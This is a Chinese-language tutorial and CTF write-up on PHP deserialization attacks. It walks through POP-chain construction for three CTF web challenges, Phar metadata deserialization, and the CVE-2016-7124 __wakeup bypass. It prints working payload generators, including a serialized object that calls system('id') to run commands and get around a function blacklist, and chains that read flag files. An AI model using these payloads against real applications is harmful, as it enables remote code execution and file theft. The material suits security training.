漏洞概述 PHP 反序列化常出现在 CTF 中,实际环境出现较少。
反序列化漏洞的原理都是一样的:目标程序对攻击者可控的数据进行反序列化操作
PHP 的反序列化漏洞利用方面主要在反序列化期间一些魔术方法的自动调用上。
反序列化 1 2 3 4 serialize ()unserialize ()
序列化后的字符串如下:
1 2 3 4 5 6 7 8 9 10 11 12 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class // 类 N - null // 空值 R - pointer reference // 指针引用 U - unicode string // unicode 字符串
修饰符号 1 2 3 public private protected
反序列化是为了对象的传递,PHP 将对象序列化为了字符串进行传递,在这个字符串中有关变量的有 变量类型、变量值长度、变量值内容,但是 修饰符 怎么传递呢?
修饰符 的传递下面特殊的形式进行表示了。表示方法如下:
这里的 \x00 表示的是空字节。
魔术方法 1 2 3 4 5 6 7 8 9 10 11 12 __construct () __destruct () __wakeup () __invoke () __call () __callStatci () __get () __set () __isset () __unset () __toString () __sleep ()
POP链构造 POP 链就是利用魔术方法进行反序列化漏洞利用的一种 Payload,之前还以为是 PHP 反序列化类似原生类的另一种姿势,后来才知道魔术方法的利用就是 POP 链。
这里用 3 道 CTF 的题目来学习 POP 链的构造。
CTF:https://www.ctfhub.com/
题目:
2020-网鼎杯-青龙组-Web-AreUSerialz ( 难度 4.9 )
2020-网鼎杯-朱雀组-Web-phpweb ( 难度 5.2 )
2021-第五空间智能安全大赛-Web-pklovecloud ( 难度 5.4 )
Web-AreUSerialz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } }function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
先看参数的传递:
1 2 3 4 5 6 7 8 9 if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
看一下 is_valid() 函数:
1 2 3 4 5 6 7 8 9 function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }
这里需要注意的是 “私有/受保护” 的属性被序列化后都会有”空字节”这个不可见字符,发现上面的类中的属性都是 protected ,那就得绕过一下了。
绕过方法就简单了,直接修改 protected 为 public 就行 ( php7.1以上的版本对属性类型不敏感 ) 。
知道如何传递参数后,接下来就是寻找类中存在的”危险函数”,然后构造 POP 链去利用它。
其中危险函数有:
1 2 read () --> file_get_contents ($this ->filename) write () --> file_put_contents ($this ->filename, $this ->content)
接下来就是在类中寻找调用了它们的地方,直接搜索一下:
发现在 process() 中调用了它们两个,条件是 $op 参数,还是弱类型比较,比较好绕过。
1 2 3 4 5 6 7 8 9 10 public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } }
再来看一下哪里调用了 process() ?
两个地方,一个构造函数,一个析构函数。
构造函数是用来写入文件的,但是我们在利用反序列化漏洞的时候,直接传入一个序列化后的字符串,然后程序使用 unserialize() 函数对其进行反序列化操作,服务端反序列化的整个过程中其实并没有去利用 __construct() 函数,所以自然无法利用它去写 shell。
那么目标就是析构函数了,看下析构函数:
1 2 3 4 5 6 7 8 9 10 function __destruct ( ) { if ($this ->op === "2" ){ $this ->op = "1" ; } $this ->content = "" ; $this ->process (); }
这里是有一个强类型比较为字符2,等于的话就赋值为1,上面的要弱类型等于字符2就执行 read()。
这样一叠加,直接让 $op 等于数字 2,就完美的解决了问题。
链条已经构造好了,之前是反着推的,现在正着写一下:
1 __destruct () --> process () --> read ()
下面就直接构造 Payload:
1 2 3 4 5 6 7 8 <?php class FileHandler { public $op = 2 ; public $filename = "flag.php" ; } $a = new FileHandler (); echo urldecode (serialize ($a ));?>
1 ?str =O:11 :"FileHandler" :2 :{s:2 :"op" ;i:2 ;s:8 :"filename" ;s:8 :"flag.php" ;}
Web-phpweb 前端发现,有隐藏的标签。又发现隔一会就会刷新页面,发生请求。抓包看下请求:
1 func=date&p=Y-m-d+h%3 Ai%3 As+a
fucn 可能是函数,p 应该是函数参数。
测试一下命令执行:
应该是有过滤的,而且这题是反序列化,应该是需要进行白盒审计。那就读取文件:
1 func=file_get_contents&p=index.php
获取到源码开始审计,找传参和危险函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" , "escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" , "array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else { return "" ; } } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
直接存在代码执行,但是能执行命令的都在黑名单里面。
而调用 gettime() 的位置有 2 处,第一处后黑名单过滤,第二处在 Test 类的 __destruct 函数中。unserialize 也没有被过滤,可以利用 unserialize 绕过黑名单,然后利用 __destruct 进行代码执行。
构造 Payload:
1 2 3 4 5 6 7 8 <?php class Test { var $p = "id" ; var $func = "system" ; } $a = new Test (); echo urldecode (@serialize ($a ));?>
接下来读取 flag 即可:
Web-pklovecloud 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php include 'flag.php' ;class pkshow { function echo_name ( ) { return "Pk very safe^.^" ; } } class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ( ) { $this ->cinder = new pkshow; } function __toString ( ) { if (isset ($this ->cinder)) return $this ->cinder->echo_name (); } } class ace { public $filename ; public $openstack ; public $docker ; function echo_name ( ) { $this ->openstack = unserialize ($this ->docker); $this ->openstack->neutron = $heat ; if ($this ->openstack->neutron === $this ->openstack->nova) { $file = "./{$this->filename} " ; if (file_get_contents ($file )) { return file_get_contents ($file ); } else { return "keystone lost~" ; } } } } if (isset ($_GET ['pks' ])) { $logData = unserialize ($_GET ['pks' ]); echo $logData ; } else { highlight_file (__file__); }?>
首先还是看参数传递:
1 2 3 4 5 6 7 if (isset ($_GET ['pks' ])) { $logData = unserialize ($_GET ['pks' ]); echo $logData ; }
这里的 echo 导致了 __toString() 的执行,应该就是通过构造 acp 类的实例反序列化获取 flag。
不过还是先找危险函数:
1 file_get_contents () --> echo_name () --> class ace
ace 类中有一个 echo_name() 函数可以做到文件读取。
函数不简单,看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function echo_name ( ) { $this ->openstack = unserialize ($this ->docker); $this ->openstack->neutron = $heat ; if ($this ->openstack->neutron === $this ->openstack->nova) { $file = "./{$this->filename} " ; if (file_get_contents ($file )) { return file_get_contents ($file ); } else { return "keystone lost~" ; } } }
文件读取的前置条件:
反序列化后的 $this->docker 是 acp 的实例
这个实例的 neutron 和 nova 得相等
这里的 $heat 变量是未知的,不知道到底是不是一个全局变量,不知道到底有没有在其他PHP文件中定义这个变量。
这里只能把 $heat 变量当作未被定义的值,才能去进行绕过:
$heat 没有被定义,所以它是一个空值 null
所以当 $this->openstack->nova 也是一个空值时,就可以绕过这个强类型匹配
这样就简单了,比如:
1 2 3 4 5 6 7 8 class ace { public $filename = "flag.php" ; public $openstack ; public $docker ; }$t =new ace ();
找找哪里调用了了 echo_name() 函数,acp 的 __toString()。
开头输出了对象,会导致 __toString() 的执行,所以只要构造的是 acp 实例的反序列化,就会执行 __toString()
1 2 3 4 5 6 function __toString ( ) { if (isset ($this ->cinder)) return $this ->cinder->echo_name (); }
那么构造 Payload 即可:
1 echo -> acp.__toString () -> ace.echo_name () -> file_get_contents ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class acp { public $cinder ; public $neutron ; public $nova ; }class ace { public $filename = "flag.php" ; public $openstack ; public $docker ; }$b =new acp ();$c =new ace ();$b ->cinder= $c ;echo urlencode (serialize ($b ));?>
原生类 当类没有提供魔术方法,或者魔术方法种没有危险的代码,还可以调用 PHP 原生类进行攻击。
PHP原生类就是在标准PHP库中已经封装好的类,在触发一些魔术方法的时候就会触发这些类,这些类种有一些可以进行目录/文件读取、XSS、SSRF 的功能,那么就可以利用它们造成危害。
可以使用以下脚本获取各个魔术方法可以触发的原生类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $classes = get_declared_classes ();foreach ($classes as $class ) { $methods = get_class_methods ($class ); foreach ($methods as $method ) { if (in_array ($method , array ( '__destruct' , '__toString' , '__wakeup' , '__call' , '__callStatic' , '__get' , '__set' , '__isset' , '__unset' , '__invoke' , '__set_state' ))) { print $class . '::' . $method . "\n" ; } } }
利用方式:
Phar Phar 是 PHP 中的一种打包格式,类似于JAR(Java归档)文件。它允许开发者将多个 PHP 脚本和资源打包到一个文件中,以便于分发和执行。
Phar 文件结构:
stub:Phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以 __HALT_COMPILER();?> 来结尾,否则phar扩展将无法识别这个文件为phar文件。
manifest:压缩文件的属性等信息,以序列化的形式自定义的 meta-data
contents:压缩文件的内容
signature:签名,在文件末尾
在 PHP 解析 Phar 格式的文件时,内核会调用 phar_parse_metadata() 函数解析 meta-data 数据时,进而调用 php_var_unserialize() 函数对其进行反序列化操作,因此会造成反序列化漏洞。
利用方式:
CVE-2016-7124 漏洞概述:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行
1 2 3 4 O:4 :"test" :3 :{s:1 :"a" ;s:5 :"apple" ;s:7 :"testb" ;s:6 :"banana" ;s:4 :"*c" ;s:7 :"coconut" ;} O:4 :"test" :3 :{s:1 :"a" ;s:5 :"apple" ;s:7 :"testb" ;s:6 :"banana" ;s:4 :"*c" ;s:7 :"coconut" ;}
CTF:https://adworld.xctf.org.cn/
题目:Web_php_unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Demo { private $file = 'index.php' ; public function __construct ($file ) { $this ->file = $file ; } function __destruct ( ) { echo @highlight_file ($this ->file, true ); } function __wakeup ( ) { if ($this ->file != 'index.php' ) { $this ->file = 'index.php' ; } } }if (isset ($_GET ['var' ])) { $var = base64_decode ($_GET ['var' ]); if (preg_match ('/[oc]:\d+:/i' , $var )) { die ('stop hacking!' ); } else { @unserialize ($var ); } } else { highlight_file ("index.php" ); } ?
拿 flag 可以通过 __destruct 方法,它可以输出 $file 文件的内容。但是有两个问题:
__wakeup 方法中强制将 $file 设置为 index.php
preg_match 匹配序列化字符串中的 [oc]:\d
绕过办法:
CVE-2016-7124 绕过 __wakeup
O:4 –> O:+4 ( 正四和四相同,又能绕过匹配)
Payload:
1 2 3 4 5 6 7 8 9 10 11 <?php class Demo { private $file = 'fl4g.php' ; } $a = new Demo (); $b = serialize ($a ); $c = str_replace ('O:4' , 'O:+4' , $b ); $c = str_replace (':1:' , ':2:' , $c ); $c = base64_encode ($c ); echo $c ;?>